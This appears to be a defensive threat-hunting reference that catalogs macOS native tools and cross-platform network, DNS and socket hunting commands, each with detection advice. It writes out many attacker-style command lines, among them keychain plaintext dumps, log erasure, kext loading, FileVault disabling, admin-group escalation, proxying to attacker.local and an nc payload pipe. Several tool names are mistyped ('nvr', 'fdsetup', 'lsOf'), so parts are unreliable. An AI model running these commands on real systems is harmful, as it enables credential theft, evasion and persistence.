DETAIL BLOCKS, most-abused tools

codesign

```
codesign -f -s - /tmp/payload.app          # force ad-hoc re-sign
codesign --deep -s - /tmp/payload.app      # ad-hoc sign nested code
codesign -d --entitlements :- /tmp/payload # dump entitlements to stdout
codesign -s - --timestamp=none /tmp/payload
```

Ad-hoc (`-s -`) signatures are untrusted (no Team ID, no notarization); `-f` overwrites the original signature; `--deep` signs nested bundles/executables; `--timestamp=none` skips the Apple timestamp server. Detection: no native audit log, rely on EDR/Endpoint-Security exec events (`process == "codesign"`), osquery `process_events`; correlate with `xattr` quarantine removal and file drops under `/tmp`, `/private/var/folders`, `~/Library/Application Support`.

xattr

```
xattr -d com.apple.quarantine ~/Downloads/evil.dmg
xattr -r -d com.apple.quarantine /path/to/dir    # recursive strip
xattr -c /path/to/malware                        # clear ALL attributes
```

Removing `com.apple.quarantine` makes Gatekeeper's first-run check moot and erases the "downloaded from" provenance used by TCC and forensic tools. Detection: `xattr` operations are not audited natively; use ES/EDR exec telemetry and pair with file-download events; check `log show --predicate 'eventMessage CONTAINS[c] "quarantine"'` for Gatekeeper hits that stop abruptly for a given file.

security (keychain)

```
security unlock-keychain -p hunter2 login.keychain-db
security dump-keychain -d login.keychain-db      # plaintext dump
security find-generic-password -w -s myservice login.keychain-db
security set-key-partition-list -S apple-tool:,apple: -s -k hunter2 login.keychain-db
security add-generic-password -U -a admin -s wifi -w P@ss login.keychain-db
```

`-d` dumps passwords in clear; `set-key-partition-list -S apple-tool:,apple:` grants partitions so later decryptions do not prompt the user (no popup = no user denial); `add-generic-password -w` writes attacker credentials (persistence of stolen creds). Detection: unified log subsystem `com.apple.security.keychain` (`log show --predicate 'subsystem == "com.apple.security.keychain"'`), keychain-access TCC prompts, ES exec of `/usr/bin/security` with `dump-keychain/-d`.

log

```
sudo log erase --all                                # wipe log store
log config --mode off --subsystem com.apple.TCC    # silence a subsystem
log config --mode "level=off" --subsystem com.apple.kext
```

`log erase --all` deletes persisted `.tracev3` logstore files under `/var/db/diagnostics/` (massive forensics gap); `log config --mode off` disables future capture per subsystem/category. Detection: ES/EDR exec of `/usr/bin/log` with `erase`; presence check on `/var/db/diagnostics/Persist/*.tracev3` (missing/gap = wiped); `log show --last 1h` returning nothing for normally chatty subsystems.

sqlite3

```
sqlite3 -readonly "/Library/Application Support/com.apple.TCC/TCC.db" \
  "select service,client,auth_value from access;"      # user: ~/Library/...
sqlite3 ~/Library/Safari/History.db ".tables"
sqlite3 ~/Library/Containers/com.apple.Contacts/Data/Library/Application\ Support/AddressBook/AddressBook-v22.abcd.db ".dump"
```

Reads of privacy DBs (TCC grants, Safari history, contacts, iMessage) are targeted data collection; writes to the user TCC.db (root/SIP-off, or older macOS) forge permission grants. Detection: TCC subsystem logs access (log show --predicate 'eventMessage CONTAINS[c] "TCC.db"'), ES file-open events on TCC.db/History.db by sqlite3, and audit of auth_value changes.

nvram

```
nvr boot-args="amfi_get_out_of_my_way=1 -s" # weaken AMFI / single-user (SIP off)
nvr -d boot-args # remove evidence after exploit
nvr -c # clear all NVRAM
```

Writing boot-args requires root and SIP disabled (or RecoveryOS), its appearance on a SIP-enabled box is itself an alarm; -d/-c scrub persistence/evidence vars. Detection: ES/EDR exec of /usr/bin/nvr (root), unified log kernel boot/AMFI messages, compare nvr -p snapshots across reboots.

kmutil

```
sudo kmutil load -p /tmp/evil.kext # load kext by path
sudo kmutil kickstart -p /tmp/evil.kext # reload kext without reboot
kmutil configure-boot -c /tmp/evil_bootobj # Recovery-only: custom boot object
```

load -p loads a kext outside the standard repositories, kernel-level persistence/implant; kickstart re-registers a kext after deletion/reboot evasion; configure-boot redirects the boot process (RecoveryOS only). Detection: unified log subsystem com.apple.kext (log show --predicate 'subsystem == "com.apple.kext"'), Endpoint-Security kext auth events (ES_EVENT_TYPE_AUTH_KEXTLOAD), and kextstat -l / kmutil showloaded showing non-Apple bundle IDs.

fdesetup

```
sudo fdsetup disable # turn off FileVault
sudo fdsetup list # who can unlock the disk
sudo fdsetup remove -user victim # lock out a FileVault user
fdsetup add -user attacker # add unlock ability (needs recovery key)
```

disable decrypts the disk in the background, commonly a pre-exfiltration or anti-forensics move; remove -user strips a legitimate user's unlock rights (account takeover); list/add reveal and extend who holds recovery capability. Detection: unified log subsystem com.apple.fdsetup (log show --predicate 'subsystem == "com.apple.fdsetup"'), ES exec telemetry, fdsetup status showing "FileVault is Off" on a policy-managed machine.

tccutil

```
tccutil reset All com.apple.Terminal # wipe ALL service grants for an app
tccutil reset ScreenCapture # reset one service for all apps
tccutil reset Accessibility <bundle-id>
```

No allow/deny subcommand exists in Apple's tccutil (only reset), any invocation resets stored grants: reset All <app> makes every protected service re-prompt, which social-engineering malware uses to force a fresh consent dialog; defenders lose baseline grants. Detection: ES/EDR exec of /usr/bin/tccutil, TCC.db modification events (subsystem com.apple.TCC), user reports of repeated privacy popups.

dseditgroup

```
dseditgroup -o edit -a attacker -t user admin # add user to admin group
dseditgroup -o create -n . -p # create local group
dseditgroup -o checkmember -m attacker admin
```

-o edit -a <user> -t user admin is the classic local privilege-escalation primitive, one command turns a low-priv account into an admin without sudo. Detection: no native audit by default, rely on ES exec events (parent

typically Terminal/ssh), then confirm with `dscl . -read /Groups/admin GroupMembership`; alert on `dseditgroup` with `-o edit` and `admin` args from non-interactive parents.

Section 3 (cont. 3): macOS Native Tool Catalog, Network & Artifacts, Suspicious Parameters

Scope note: sudo/su are covered in the Linux audit catalog (cross-reference only). All tools native unless marked (third-party). macOS netcat (nc) is OpenBSD nc, **no -e flag exists**; shells require pipes/fifos. macOS netstat -p selects protocol, not PID; macOS stat uses -f, not Linux -c; macOS ipconfig is a DHCP helper, not an interface configurator.

Reconnaissance & network discovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
scutil	Read/write SystemConfiguration (hostname, DNS, proxy, VPN)	--set HostName <n>, --set LocalHostName <n>, --set ComputerName <n> (root); recon: --get, --dns, --proxy, --nc list	Host rename mimics trusted machine and breaks hostname-based detections; --get/--dns enumerate network identity	T1016, T1562.001
system_profiler	Dump hardware/software inventory	SPHardwareDataType, SPSoftwareDataType, SPInstallHistoryDataType, SPNetworkDataType, -xml	Fast fingerprint: model, macOS build, installed software, EDR/AV products, VM detection	T1082, T1518.001
sysctl	Read/write kernel tunables	-a, -n <key>; -w net.inet.ip.forwarding=1 (root)	Enumerate CPU/memory/kernel for payload targeting; enabling IP forwarding turns host into pivot/relay	T1082, T1090
netstat (mac)	Show network state (no PID flag on macOS)	-an, -rn, -p tcp, -i, -x	Discover open ports, routes, UNIX sockets for lateral movement targeting	T1016, T1046
nettop	Live per-process network throughput	-p <pid>, -l <sec>, -J <key> (JSON)	Confirm/monitor active C2 flows; scriptable JSON output for beacon analysis	T1046, T1071
arp	Display/manipulate ARP cache	-a; -s <ip> <mac> and -d <ip> (root)	ARP table recon; static entries prepare ARP-poisoning/MITM groundwork	T1016, T1557.002
ping	ICMP reachability test	-c <n>, -s <size>, -t <ttl>, -i <sec>	C2 connectivity/beacon validation; oversized or odd payloads hint ICMP tunneling	T1046, T1095
traceroute	Path discovery	-n, -m <hops>, -I, -p <port>	Map internal topology; find filtering/proxy devices; TCP-mode port probing	T1046
dig	DNS queries (native / usr/bin/dig)	<domain>, +short, TXT queries, -x <ip>	Resolve C2 domains, enumerate records; TXT queries can carry exfil payloads	T1016, T1071.004
lsof	List open files/sockets	-i, -iTCP -sTCP:LISTEN, +L1, -U, -nP, -p <pid>	Find process holding C2 socket; +L1 reveals binaries running after deletion (self-destruct)	T1046, T1071

Network configuration & traffic manipulation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
networksetup	Configure network services (root for sets)	-setwebproxy <svc> <host> <port> on, -setsecurewebproxy, -setsocksfirewallproxy, -setdnsservers <svc> <ip>, -setsearchdomains, -setnetworkserviceenabled <svc> off; recon: -getdnsservers, -getinfo	Route victim traffic through attacker proxy (interception/C2 relay); DNS hijack for phishing/resolution; disable interface to kill telemetry	T1090.001, T1016
ifconfig	Query/configure interfaces (set ops root)	en0 <ip> netmask <mask>, en0 up/down, en0 ether <mac>	Manual IP assignment evades DHCP logs; interface down breaks EDR network events; MAC spoofing evades NAC/device inventory	T1016, T1070 (evasion)
ipconfig (mac)	macOS DHCP/interface helper (not Linux-style)	getifaddr <if>, getpacket <if>, set <if> DHCP	Enumerate lease-assigned IP/gateway/DNS for targeting; renew leases to force address churn	T1016
route (mac)	Display/manipulate routing table (changes need root)	-n get <host>, add -net <net> <gw>, change default <gw>, delete	Discover default gateway/topology; inject routes to hijack or redirect traffic	T1016, T1557
pfctl	PF firewall control (root)	-d, -e, -f <rules>, -F all, -sr, -sn, -ss	Disable/clear firewall, or load rules that blackhole EDR/AV domains and hide implant traffic	T1562.004

Network monitoring & sniffing

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tcpdump	Packet capture (root)	-i any, -w <file>, -X, -A, -n, -r <file>	Sniff plaintext credentials/traffic; capture and exfil pcap files; read stolen captures	T1040
fs_usage	Trace file/network syscalls (root)	-w, -f network, -p <pid>	Watch which files sensitive processes read (keychain, credential stores, documents) for passive targeting	T1083, T1005
opensnoop	DTrace open-file tracer (legacy : SIP-limited, broken on Apple silicon)	-p <pid>, -n <name>, -d <path>	Observe files malware/user processes open (payload drops, keychain paths)	T1005, T1083

Download & execution / C2

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
nc (macOS OpenBSD netcat)	TCP/UDP send and listen; no -e flag on macOS	-l -p <port>, -l -k -p <port>, <ip> <port> outbound, -n -v	C2 bind listener / reverse-shell connector; file-transfer pipe; shells built from pipes, fifos, or bash /dev/tcp	T1071.001, T1105
hdiutil	Create/attach/convert disk images	attach <dmg>, attach -nobrowse -readonly, create -encryption AES-256 ..., convert -format UDZO, detach <dev>	Stage malware via DMG; mount attacker volume; build encrypted container for staging/exfil	T1204.002, T1560.001
mount	Mount filesystems (root for most)	-t smbfs //u@host/share /Volumes/ x, -t webdav <url>, mount_osxfuse (third-party kext)	Mount attacker SMB/WebDAV share for drop or exfil; FUSE for custom/packed filesystems	T1021.002, T1105

Persistence & services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
systemsetup	System/network settings via CLI (root)	-setremotelogin on, -setcomputername <n>, -setnetworktimeserver <h>, -setusingnetworktime on, -setwakeonnetworkaccess on (legacy/removed: -setremoteargumentsession)	Enable sshd as persistent remote-access door; host rename; NTP redirect skews log timestamps	T1021.004, T1562.001
pmset	Power management (root for writes)	-a sleep 0, disablesleep 1, -a displaysleep 0, schedule wake "MM/dd/yyyy HH:mm:ss"	Keep machine awake so mining/implant/C2 stays running; scheduled wake for timed activity	T1562.001, T1053

Credential access

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
mdfind	Spotlight file/text search	-name <term>, -onlyin <dir>, -attr <attr>, -count, -live, "kMDItemWhereFroms == '*'"	Instantly locate credential/key/config files across the whole disk without directory traversal	T1552.001, T1005
find	File-tree search	-name/-iname "*.pem" "*.key" "*token*", -perm -4000, -mtime -N, -size <n>, -exec <cmd> \;;, -delete	Hunt secret files and SUID binaries; -exec runs payloads (LOLBin exec); -delete wipes evidence	T1083, T1552.001, T1059

Defense evasion & anti-forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
chflags	Set BSD file flags	hidden, uchg, schg, nouchg, nohidden, -R	hidden hides files from Finder (still on disk); immutable uchg/schg block deletion/alteration of malware and logs	T1564.001, T1222.002
chmod	Change permissions	4755, u+s, g+s, 777, -R	Setuid-root for privilege/persistence; loosen ACLs for tampering or hiding files	T1548.001, T1222.002
mdutil	Spotlight index management	-i off <vol>, -E <vol>, -a, -s	Disable/erase metadata index, breaks Spotlight hunting and mdfind forensics	T1562.001, T1070
mdimport	Import files into Spotlight index	-i <path>, -d <level>, -A, -c	Force re-index to mask quarantine/xattr changes after payload placement; debug mode inspects importers	T1070
diskutil	Disk/volume management	list, eraseDisk <fs> <name> / dev/diskX, secureErase [0-3] diskX, mount, unmount, rename	Wipe evidence on internal/removable media; mount/unmount attacker volumes; rename volumes to blend in	T1485, T1082

File & data operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
stat	Show file metadata (macOS uses -f, not Linux -c)	-f "%N %z %m %Sm", -l	Check timestamps/sizes to target fresh or modified files; verify implant was written correctly	T1083, T1005
ls	List directory contents	-la, -laR, -O (flags), -@ (xattrs), -A	Reveal hidden files, immutable flags, quarantine/origin xattrs; recursive sweep of directories	T1083, T1564.001
mdls	Print Spotlight metadata of a file	-name kMDItemWhereFroms <file>, -raw	Check download source/quarantine origin of files when validating targets or attributing samples	T1005, T1083

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ditto	Copy files; create/extract archives	-c -k <dir> <zip>, -x -k <zip> <dir>, --keepParent	Archive for staging/exfil; strips quarantine xattr : a Gatekeeper bypass for dropped payloads	T1560.001, T1553.001

DETAIL BLOCKS, most-abused tools

scutil, host rename & network recon

```
sudo scutil --set HostName malware-c2.local      # root; kernel hostname
sudo scutil --set LocalHostName "MacBook-Pro"    # mDNS/Bonjour name
sudo scutil --set ComputerName "MacBook Pro"     # Finder name
scutil --get ComputerName; scutil --dns; scutil --proxy; scutil --nc list
```

- `--set HostName` / `--set LocalHostName` / `--set ComputerName`: silently change host identity so log aggregation and hostname-based detections stop matching; renaming to a legitimate-looking name is a common post-compromise evasion step.
- `--dns`, `--proxy`, `--nc list` (read-only): enumerate resolver, proxy and VPN configuration without touching files, fast, quiet recon.
- **Detect**: unified log, `log show --predicate 'process == "scutil"'`; require root for `--set`, so flag any `scutil --set` spawned from an unexpected parent; correlate with EDR hostname-change events; snapshot / `Library/Preferences/SystemConfiguration/preferences.plist` diffs.

networksetup, proxy & DNS hijack

```
sudo networksetup -setwebproxy Wi-Fi 10.0.0.5 8080 on
sudo networksetup -setsocksfirewallproxy Wi-Fi attacker.local 9050 on
sudo networksetup -setdnsservers Wi-Fi 8.8.8.8 5.6.7.8
networksetup -getdnsservers Wi-Fi; networksetup -getinfo Wi-Fi
```

- `-setwebproxy` / `-setsecurewebproxy` / `-setsocksfirewallproxy ... on`: point all web/TCP traffic at an attacker proxy, interception of credentials or a relay for C2 (SOCKS). `-setdnsservers` hijacks resolution to attacker DNS (phishing, C2 failover); `-setsearchdomains` steers internal-name resolution.
- `-getdnsservers` / `-getinfo`: recon of network identity and DNS state.
- **Detect**: unified log `process == "networksetup"` (usually child of `sudo`); monitor / `Library/Preferences/SystemConfiguration/` preferences diffs; EDR change-alerts on proxy/DNS configuration; compare proxy state with `scutil --proxy` at hunt time.

chflags, hide & lock files

```
chflags hidden /Library/Application\ Support/Evil      # invisible in Finder
chflags -R hidden ~/Library/.shellex                  # recursive
chflags uchg /usr/libexec/implant                      # user-immutable: no delete
chflags schg /var/db/evil.db                          # system-immutable: root still can't rm
chflags nouchg /usr/libexec/implant                   # unlock before cleanup
```

- `hidden`: classic macOS malware trick, file is fully on disk, absent from Finder; `uchg` / `schg` make the payload and its logs undeletable and unalterable (`schg` requires single-user mode to clear, so it doubles as persistence).
- `-R` applies recursively; `nouchg` / `nohidden` appear right before cleanup or deletion.
- **Detect**: `ls -l0` on suspect directories shows flags; `find / -flags +hidden -flags +noflags 2>/dev/null` (BSD find syntax) finds hidden files; `stat -f '%N %Sf'` per file; unified log exec of `/usr/bin/chflags`; hunt for a hidden flag paired with an unknown binary in the same directory.

mdfind, fast credential & file hunting

```
mdfind -onlyin /Users/Shared "kMDItemWhereFroms == '*'" # all downloaded files
mdfind -name "token"; mdfind -name "password*" # filename search
mdfind -attr kMDItemFSName '*.pem' # print attribute of matches
mdfind -count "kMDItemKind == 'Text'" # fast census
```

- onlyin scopes the search; -name and bare queries locate secrets, configs, keychains and tokens without traversing the tree, sub-second full-disk recon; the kMDItemWhereFroms query returns every downloaded artifact.
- Detect:** EDR exec telemetry on /usr/bin/mdfind with suspicious arguments (token, pem, key, wallet, kMDItemWhereFroms); correlate with subsequent keychain/dylib access; if mdutil -s shows indexing off, an empty mdfind result is itself a red flag (index was disabled to hide files).

lsOf, C2 & implant discovery

```
lsOf -iTCP -sTCP:ESTABLISHED -nP # established external connections, no DNS
lsOf -i :4444 # listener on a beacon port
lsOf +L1 # open files with 0 links = deleted, running binaries
lsOf -p <pid>; lsOf -U # per-process files; UNIX sockets
```

- i filters sockets by address/port with -sTCP:STATE; -nP suppresses DNS and port-name lookups (fast, silent); +L1 exposes malware executing from a file deleted after launch (self-destruct behavior); -U shows UNIX sockets used by local C2 or inter-process implants.
- Detect:** hunter-side, pair with netstat -an; any +L1 hit means immediately capture memory; verify ESTABLISHED flows to non-allowlisted external IPs; correlate process owning the socket with parent-process chain.

pfctl, firewall disable / rule injection

```
sudo pfctl -d # disable firewall entirely
sudo pfctl -f /tmp/x.pf; sudo pfctl -e # load attacker rules, then enable
sudo pfctl -F all # flush rules and states
sudo pfctl -sr; sudo pfctl -sn; sudo pfctl -ss # show rules / NAT / states
```

- d and -F all tear down the host firewall, remove EDR outbound blocks and hide implant traffic; -f <rules> loads an attacker ruleset that can blackhole EDR/AV domains or redirect traffic; -e re-enables with the malicious rules active.
- Detect:** requires root, flag any pfctl exec with -d, -f, or -F; post-mortem pfctl -sr/-ss shows loaded rules/states; check /etc/pf.conf and /tmp/*.pf mtimes; unified log log show --predicate 'eventMessage CONTAINS "pfctl"' or process == "pfctl".

nc, C2 bind/connect (OpenBSD netcat, no -e)

```
nc -l -p 4444 # bind listener, hands shell on connect
nc -l -k -p 9001 # keep listening across connections
nc -n 1.2.3.4 443 # outbound connect to C2
nc -l -p 1234 < payload.sh | sh # drop-and-pipe payload execution
```

- l listen, -k keep open after disconnect, -p local port, -n no DNS lookups. macOS nc is OpenBSD netcat: **-e does not exist:** reverse shells are built with pipes (| /bin/sh) or fifos (mkfifo), so the honest red flags are a listener on a high port and piped stdin from a network socket.
- Detect:** inbound connections to non-standard ports where the owning process is /usr/bin/nc (near-zero legitimate usage on modern hosts); outbound nc to non-22/443; lsOf -i shows nc holding the socket; unified log exec of nc with -l from an unexpected parent (launchd, sh).

systemsetup, SSH backdoor enable

```
sudo systemsetup -setremotelogin on          # enable sshd
sudo systemsetup -setcomputername Vuln-Host  # rename host
sudo systemsetup -setnetworktimeserver evil.ntp -setusingnetworktime on # NTP redirect
sudo systemsetup -setwakeonnetworkaccess on  # wake-on-LAN persistence
```

- `-setremotelogin on` turns on the SSH daemon, a persistent remote-access door (attacker keys are then installed in `~/.ssh`); `-setcomputername` renames the host to break name-based detections; NTP redirect skews log timestamps; `-setwakeonnetworkaccess` lets a machine be woken remotely for timed operations. Legacy: `-setremoteargumentsession` was removed; its appearance indicates faked or stale tooling.
- **Detect:** unified log `log show --predicate 'process == "systemsetup"'`; live state `systemsetup -getremotelogin` (expect Remote Login: Off on managed hosts); `sshd` spawn/accept events immediately after; `-setremotelogin on` requires root, correlate with the sudoer.

Section 4: Cross-Platform, Network, Logs, Evidence & Encoding

Commands that work across Windows/Linux/macOS (or with the noted per-OS variant) for packet inspection, DNS hunting, socket review, file search/hash, decode/deobfuscate, log timelines, evidence imaging, timestamp detection, and IOC pattern hunting. Sections 1-3 hold the per-OS deep dives; this section only cross-cuts them.

4.1 Packet Capture (tcpdump / tshark / Windows)

MITRE: T1040 (Network Sniffing), T1046 (Network Service Discovery).

tcpdump, capture

```
tcpdump -D
```

- Why it matters: lists capture interfaces with index numbers (eth0, any, lo) before you start.
- Red flags: unexpected virtual adapters (vpn/tun), interfaces you don't recognize, evidence of host-level network reconfiguration.

```
sudo tcpdump -i any -nn -s 0 -w out.pcap
```

- Why it matters: `-i any` captures all interfaces (needs root), `-nn` no DNS/port resolution, `-s 0` full packet, `-w` write pcap for later analysis.
- Red flags: capture fails with "permission denied", check for a hardened audit policy or whether the attacker disabled capture privileges.

```
sudo tcpdump -i any -nn -s 0 'host 1.2.3.4'
sudo tcpdump -i any -nn 'src host 10.0.0.5 and dst port 443'
sudo tcpdump -i any -nn 'net 192.168.0.0/16 or port 53'
sudo tcpdump -i any -nn 'not port 22 and not port 3389'
```

- Why it matters: primitive filters, host/port/net with and/or/not, src/dst qualifiers; the last one strips your own SSH/RDP noise from the stream.
- Red flags: a filter that matches almost nothing while the host is "busy", encrypted/bridged traffic the filter doesn't cover, or you are on the wrong segment.

```
sudo tcpdump -i any -nn -s 0 -w out.pcap 'tcp[tcpflags] & tcp-syn != 0'
sudo tcpdump -i any -nn -s 0 -w out.pcap 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn'
```

- Why it matters: first = every SYN (open attempts + responses); second = pure SYN with no ACK, i.e. outbound connection *attempts* only, the beaconing/scan signature.
- Red flags: a host spraying pure SYNs to many remote IPs on one port (port scan out, T1046); regular periodic pure-SYNs to the same IP = beaconing (T1071).

```
sudo tcpdump -i any -nn icmp
```

- Why it matters: raw ICMP visibility without the TCP noise.
- Red flags: ICMP echo packets with payload bytes (ping tunneling, T1095); oversized ICMP (> 1472 bytes payload); ICMP to/from hosts that never ping in normal ops.

```
tcpdump -r out.pcap -nn -c 100
tcpdump -r out.pcap -nn -X
tcpdump -r out.pcap -nn -A
tcpdump -r out.pcap -nn -s 0 'port 80'
```

- Why it matters: read back with `-r`; `-X` hex+ASCII dump (binary payloads, keying material), `-A` ASCII only (HTTP/IRC/plaintext C2), `-s 0` full bytes.
- Red flags: readable protocol banners/strings in `-A` output on ports that should be encrypted; unexpected HTTP/plaintext on 443/53.

```
tcpdump -r out.pcap -nn 'tcp[13] & 2 != 0' | wc -l
```

- Why it matters: byte-offset form of the SYN filter for scripts (byte 13 = TCP flags, & 2 = SYN).
- Red flags: count far exceeding host-initiated connections, scanning or port-probing (T1046).

tshark, analysis

```
tshark -r out.pcap -Y 'http.request' -T fields -e frame.time -e ip.src -e http.host -e http.request.uri
```

- Why it matters: display-filter (not capture-filter) syntax; `-Y` filter, `-T fields` `-e` columns; pulls request lines for web compromise reconstruction.
- Red flags: HTTP POSTs to odd hosts; `http.host` values that don't match the org's domains (typosquats, IP-only hosts).

```
tshark -r out.pcap -Y 'dns.qry.name contains "malware"' -T fields -e dns.qry.name -e dns.a
```

- Why it matters: hunt DNS queries by substring; field names beat raw byte parsing.
- Red flags: queries for your own internal names via external resolvers; known-bad TLDs (.tk, .top, .xyz) in volume.

```
tshark -r out.pcap -Y 'tls.handshake.extensions_server_name' -T fields -e ip.src -e  
tls.handshake.extensions_server_name | sort -u
```

- Why it matters: extracts SNI from ClientHello, TLS C2 destinations when you can't decrypt (encrypted C2 hunt).
- Red flags: SNI domains with high entropy, DGA-style names, or legit-looking names that resolve to cloud/VPS ranges (T1071.001, T1568.002).

```
tshark -r out.pcap -Y 'ip.addr == 10.0.0.5'  
tshark -r out.pcap -Y 'tcp.port == 4444 or udp.port == 53'
```

- Why it matters: filter an entire host or a port pair across all packets.
- Red flags: traffic to a specific IP only at odd hours; port 53 carrying non-DNS payloads (DNS tunneling).

```
tshark -r out.pcap -z conv,tcp -q  
tshark -r out.pcap -z endpoints,ip -q  
tshark -r out.pcap -z io,phs -q
```

- Why it matters: `-q` suppresses packet listing; `-z` prints conversation stats, IP endpoint totals, protocol hierarchy.
- Red flags: top conversation pair you can't attribute; `io,phs` showing unexpected protocols (ICMP, GRE, QUIC) at volume.

```
tshark -r out.pcap --export-objects http,./http_out
```

- Why it matters: carves HTTP-transferred files out of the pcap for hashing and YARA.
- Red flags: exported executables/scripts that never appeared on disk per filesystem timeline, dropped via memory or deleted post-run (T1105).

Windows capture (admin)

```
netsh trace start capture=yes tracefile=C:\temp\nettrace.etl maxsize=512  
netsh trace stop
```

- Why it matters: built-in packet capture to ETL; `stop` also emits a parsed text report (.cab). Works on Win7+ (no pktmon there).
- Red flags: `netsh trace stop` fails or report missing, capture buffer overflowed or ETW providers were disabled.

```
pktmon start --capture --pkt-size 0 --file-name C:\temp\pkt.etl
pktmon stop
pktmon etl2pcap C:\temp\pkt.etl -o C:\temp\pkt.pcap
```

- Why it matters: pktmon (Win10 2004+/Server 2004+) is the modern capture; etl2pcap converts so tshark can read it. Verify pktmon exists on the target version.
- Red flags: pktmon shows zero packets while traffic flows, NDIS filter driver interference, or capture started after the event.

```
Get-NetTCPConnection -State Established | Group-Object RemoteAddress | Sort-Object Count -Descending
```

- Why it matters: current socket table in PowerShell; grouping by remote address surfaces dominant peers (see 4.3).
- Red flags: a remote address with far more connections than any internal peer; rare countries in the remote range.

4.2 DNS Hunting

MITRE: T1071.004 (DNS), T1568.001 (Fast Flux), T1568.002 (DGA), T1016 (network config discovery), T1048.003 (exfil over DNS).

Linux/macOS resolver tools

```
dig +short example.com
dig +short @1.1.1.1 example.com
dig +trace example.com
dig ANY example.com
dig -x 8.8.8.8
dig +noall +answer +comments example.com
```

- Why it matters: +short answer only; @server bypasses the local resolver (validates what your hosts actually get); +trace walks root→TLD→authoritative (catches poisoned/odd delegation); ANY legacy (many resolvers ignore ANY per RFC 8482, use TXT/A separately); -x reverse lookup.
- Red flags: +short returning an IP that differs from a clean resolver's answer (cache poisoning, DNS pinning, malicious resolver); +trace ending at a nonstandard authoritative server.

```
nslookup example.com
nslookup -type=TXT example.com
nslookup -type=A -server=8.8.8.8 example.com
```

- Why it matters: interactive/batch lookup; the header shows which server answered, the first red-flag check.
- Red flags: "Server: unknown" or a non-corporate resolver answering; TXT records containing base64 blobs (C2 config / exfil staging).

```
host -t A example.com
host -t TXT example.com
```

- Why it matters: terse lookups for scripts.
- Red flags: answer with TTL of 60-300s on a domain that should be static, fast-flux grooming.

Windows DNS

```
ipconfig /displaydns
Get-DnsClientCache | Sort-Object Entry -Unique
```

- Why it matters: dump the DNS cache, recent attacker queries leave traces here even after the process is gone.
- Red flags: cache entries with random-name domains; entries for internal services resolving to external IPs.

```
Clear-DnsClientCache
```

- Why it matters: use ONLY after you've recorded the cache; it clears the cache so subsequent hunting isn't contaminated.
- Red flags: running it before collecting evidence (destroys the artifact).

```
Resolve-DnsName example.com -Server 1.1.1.1
Resolve-DnsName -Type TXT example.com
Get-DnsClientServerAddress -AddressFamily IPv4
```

- Why it matters: modern replacement for nslookup; `-Server` pins the resolver; the last shows configured resolvers per adapter.
- Red flags: configured resolver that isn't corporate (DHCP compromise, host-level tampering); TXT answers with encoded payloads.

macOS DNS

```
dscacheutil -q host -a name example.com
sudo log show --last 30m --predicate 'process == "mDNSResponder"'
sudo log stream --predicate 'process == "mDNSResponder"'
scutil --dns
```

- Why it matters: cache lookup; mDNSResponder query logging (only with query logging enabled, `sudo killall -INFO mDNSResponder` toggles it, then the `log show` filter shows per-query lines); `scutil --dns` shows the resolver chain.
- Red flags: queries in the log for names nothing legit requested; `/etc/resolv.conf` on macOS is a config-managed symlink, suspicious content there means something overwrote it (check `scutil --dns` instead).

hosts / resolver files

```
cat /etc/hosts
cat /etc/resolv.conf
resolvectl status # Linux systemd-resolved
```

- Why it matters: static override and resolver config, the two files most tampered with by malware that wants to redirect traffic (T1562.001-style persistence).
- Red flags: entries mapping security-vendor/update/legit domains to 127.0.0.1 or odd IPs; `resolv.conf` pointing at a non-local non-corporate resolver; `nameserver` count/order changed vs. baseline.

Fast-flux / DGA telltales

Telltale	What it looks like	Likely cause
Repeated NXDOMAIN bursts	100+ NXDOMAIN responses in minutes from one client	DGA probing (T1568.002), counting toward the next C2 domain
High-entropy names	labels like <code>k3xq9z2m7v...</code> , no vowels, 12-40 chars, mixed case/digits	DGA; also crypto-mining pools
Abnormally short TTLs	TTL 60-300 on names that never change	Fast flux (T1568.001)
Many unique FQDNs, one apex	<code>r1.bad.tld</code> , <code>r2.bad.tld</code> , ... in quick succession	Flux rotation / subdomain generation
Long labels (>50 chars)	DNS queries with huge random subdomains	DNS tunneling (T1048.003)
TXT records with base64	TXT answer $\approx$ base64 blob, low TTL	C2 config delivery, staging

```
dig +short TXT <domain>
echo '<base64-from-TXT>' | base64 -d 2>/dev/null
```

- Why it matters: TXT is the classic covert channel; decode the record to read staged config.
- Red flags: decoded TXT containing URLs/IPs/keys, treat the domain as infrastructure and pivot.

4.3 Connections & Sockets (Cross-Platform Quick Table)

MITRE: T1046 (scanning), T1071 (C2). Red-flag states: *ESTABLISHED* to rare external IPs; *LISTEN* on unexpected ports; *TIME_WAIT* storms; *SYN_SENT* storms; *CLOSE_WAIT* pileups.

Goal	Windows	Linux	macOS
All connections + PID	<code>netstat -naob</code> (admin) / <code>Get-NetTCPConnection</code>	<code>ss -tanp</code> (root for others' PIDs)	<code>lsof -iP -n</code>
Listening sockets	<code>netstat -naob findstr LISTENING</code>	<code>ss -tulpn</code>	<code>lsof -iP -n -iTCP -sTCP:LISTEN</code>

Goal	Windows	Linux	macOS
Established only	Get-NetTCPConnection -State Established	ss -tan state established	lsof -iP -n -iTCP -sTCP:ESTABLISHED
By port	netstat -ano findstr :4444	ss -tan 'dport = :4444'	lsof -iP -n -iTCP:4444
Counts/summary	netstat -s	ss -s	netstat -anv (BSD, no PIDs, use lsof)

```
netstat -naob
netstat -ano | findstr /i "LISTENING"
```

- Why it matters: Windows classic; `-b` shows the binary (admin), `-o` the PID.
- Red flags: LISTENING on 4444/6667/31337/5555 or random high ports; a binary you don't recognize owning a listening socket.

```
Get-NetTCPConnection -State Established | Sort-Object RemoteAddress -Unique
Get-NetTCPConnection -State Listen -LocalPort 4444,6667,31337
Get-NetTCPConnection -State TimeWait | Group-Object RemoteAddress | Sort Count -Desc
Get-NetTCPConnection -State Established | ForEach-Object { [PSCustomObject]@{PID=$_ .OwningProcess;
